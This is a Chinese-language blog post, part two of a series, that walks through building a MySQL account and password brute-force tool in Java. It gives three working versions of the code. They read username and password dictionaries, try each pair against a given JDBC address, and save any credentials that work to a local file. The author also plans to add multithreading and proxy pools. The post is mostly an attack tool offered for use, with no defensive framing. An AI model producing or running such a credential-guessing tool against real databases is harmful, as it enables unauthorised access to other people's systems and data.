記-一個數據庫密碼爆破工具的成長曆程(2)
阿新 • • 發佈:2020-12-12
資料庫密碼爆破工具的優化
- 使用scanner從控制檯讀取字典位置和資料庫位置
- 在控制檯輸出密碼使用起來還是不太方便,將正確的密碼通過位元組流寫入到一個文件中。
- 密碼都寫了,不妨吧資料庫的地址和賬號密碼一起寫入。
- 目前爆破僅限於密碼,所以後面可以設計迴圈巢狀將賬戶密碼一起爆破。
- 爆破目前使用的是單執行緒,所以為了後期的實用性,會加上多執行緒和代理池。
- 程式碼格式的檔案對很多人來說使用還是不夠方便,所以圖形化介面也是需要進行的。
目前程式碼:
package jsp; import java.io.*; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.util.Scanner; public class sql { public static void main(String[] args) throws IOException { Scanner sc1 = new Scanner(System.in); System.out.println("請輸入爆破字典地址(絕對路徑)"); String zdadd = sc1.next(); Scanner sc2 = new Scanner(System.in); System.out.println("請輸入資料庫地址(jdbc格式)"); String sqladd = sc2.next(); String path = zdadd; File file = new File(path); StringBuilder result = new StringBuilder(); try { BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//構造一個BufferedReader類來讀取檔案 String s = null; while ((s = br.readLine()) != null) {//使用readLine方法,一次讀一行 result.append(System.lineSeparator() + s); try { Class.forName("com.mysql.jdbc.Driver"); String url = sqladd; String username = "root1"; String password = s; Connection conn = DriverManager.getConnection(url,username,password); System.out.println("密碼正確"); System.out.println("正確密碼是"+s); } catch (ClassNotFoundException | SQLException e) { System.out.println("密碼錯誤"); } } br.close(); } catch (Exception e) { e.printStackTrace(); } } }
第一步的優化已經完成,現在就要進行第二步。
第二步和第三步我想做的都是把獲得的結果輸入到檔案中,要做到這一步,需要使用到一個檔案寫入。
也就是下面這行程式碼:
FileWriter fw = new FileWriter("C://a/gpasswd.txt"); BufferedWriter bw = new BufferedWriter(fw); bw.write("資料庫地址是:"+url+"\r\n"); bw.write("資料庫賬號是:"+username+"\r\n"); bw.write("資料庫密碼是:"+s+"\r\n"); bw.close(); fw.close();
第一行是指定了檔案寫入的位置,第二行則建立了一個檔案寫入的物件。然後就是很簡單,加上註釋之後,把輥間的資訊寫入到檔案之中,然後釋放資源。
所以,在添加了這些之後,程式碼就會變成下面這樣。
package jsp; import java.io.*; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.util.Scanner; public class sql { public static void main(String[] args) throws IOException { Scanner sc1 = new Scanner(System.in); System.out.println("請輸入爆破字典地址(絕對路徑)"); String zdadd = sc1.next(); Scanner sc2 = new Scanner(System.in); System.out.println("請輸入資料庫地址(jdbc格式)"); String sqladd = sc2.next(); String path = zdadd; File file = new File(path); StringBuilder result = new StringBuilder(); try { BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//構造一個BufferedReader類來讀取檔案 String s = null; while ((s = br.readLine()) != null) {//使用readLine方法,一次讀一行 result.append(System.lineSeparator() + s); try { Class.forName("com.mysql.jdbc.Driver"); String url = sqladd; String username = "root1"; String password = s; Connection conn = DriverManager.getConnection(url,username,password); FileWriter fw = new FileWriter("C://a/gpasswd.txt"); BufferedWriter bw = new BufferedWriter(fw); bw.write("資料庫地址是:"+url+"\r\n"); bw.write("資料庫賬號是:"+username+"\r\n"); bw.write("資料庫密碼是:"+s+"\r\n"); bw.close(); fw.close(); } catch (ClassNotFoundException | SQLException e) { } } br.close(); } catch (Exception e) { e.printStackTrace(); } } }
然後就是第四步了,也就是到目前位置,我們爆破僅限於密碼,並沒有對使用者名稱同時進行一個爆破,所以,這裡就要嘗試進行使用者名稱的爆破。
這一步其實要做到很簡單,因為我們之前已經完成了定義字典的位置,然後利用bufferedReader將裡面的內容讀取出來,現在只是多增加一個字典的讀取,然後將外界的迴圈變成兩個就可以了。
通俗一點,就是兩個迴圈的巢狀。
package jsp;
import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;
public class sql {
public static void main(String[] args) throws IOException {
Scanner sc = new Scanner(System.in);
System.out.println("請輸入使用者名稱爆破字典地址(絕對路徑)");
String unadd = sc.next();
Scanner sc1 = new Scanner(System.in);
System.out.println("請輸入密碼爆破字典地址(絕對路徑)");
String pdadd = sc1.next();
Scanner sc2 = new Scanner(System.in);
System.out.println("請輸入資料庫地址(jdbc格式)");
String sqladd = sc2.next();
String path1 = unadd;
File file1 = new File(path1);
StringBuilder result1 = new StringBuilder();
String path = pdadd;
File file = new File(path);
StringBuilder result = new StringBuilder();
try {
BufferedReader br1 = new BufferedReader(new InputStreamReader(new FileInputStream(file1),"UTF-8"));
String s1 = null;
while((s1 = br1.readLine())!=null) {
result1.append(System.lineSeparator() + s1);
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//構造一個BufferedReader類來讀取檔案
String s = null;
while ((s = br.readLine()) != null) {//使用readLine方法,一次讀一行
result.append(System.lineSeparator() + s);
try {
Class.forName("com.mysql.jdbc.Driver");
String url = sqladd;
String username = s1;
String password = s;
Connection conn = DriverManager.getConnection(url, username, password);
FileWriter fw = new FileWriter("C://a/gpasswd.txt");
BufferedWriter bw = new BufferedWriter(fw);
bw.write("資料庫地址是:" + url + "\r\n");
bw.write("資料庫賬號是:" + username + "\r\n");
bw.write("資料庫密碼是:" + s + "\r\n");
bw.close();
fw.close();
} catch (ClassNotFoundException | SQLException e) {
}
}
br.close();
}
br1.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
到了這一步,一個簡單的Mysql資料庫賬號密碼的爆破工具已經結束了。目前來說,這個工具的實用性不高,只能針對於mysql資料庫,後面如果有一些別的思路,會針對這個工具再進行修改。
針對於多執行緒等問題,過段時間會再進行修復。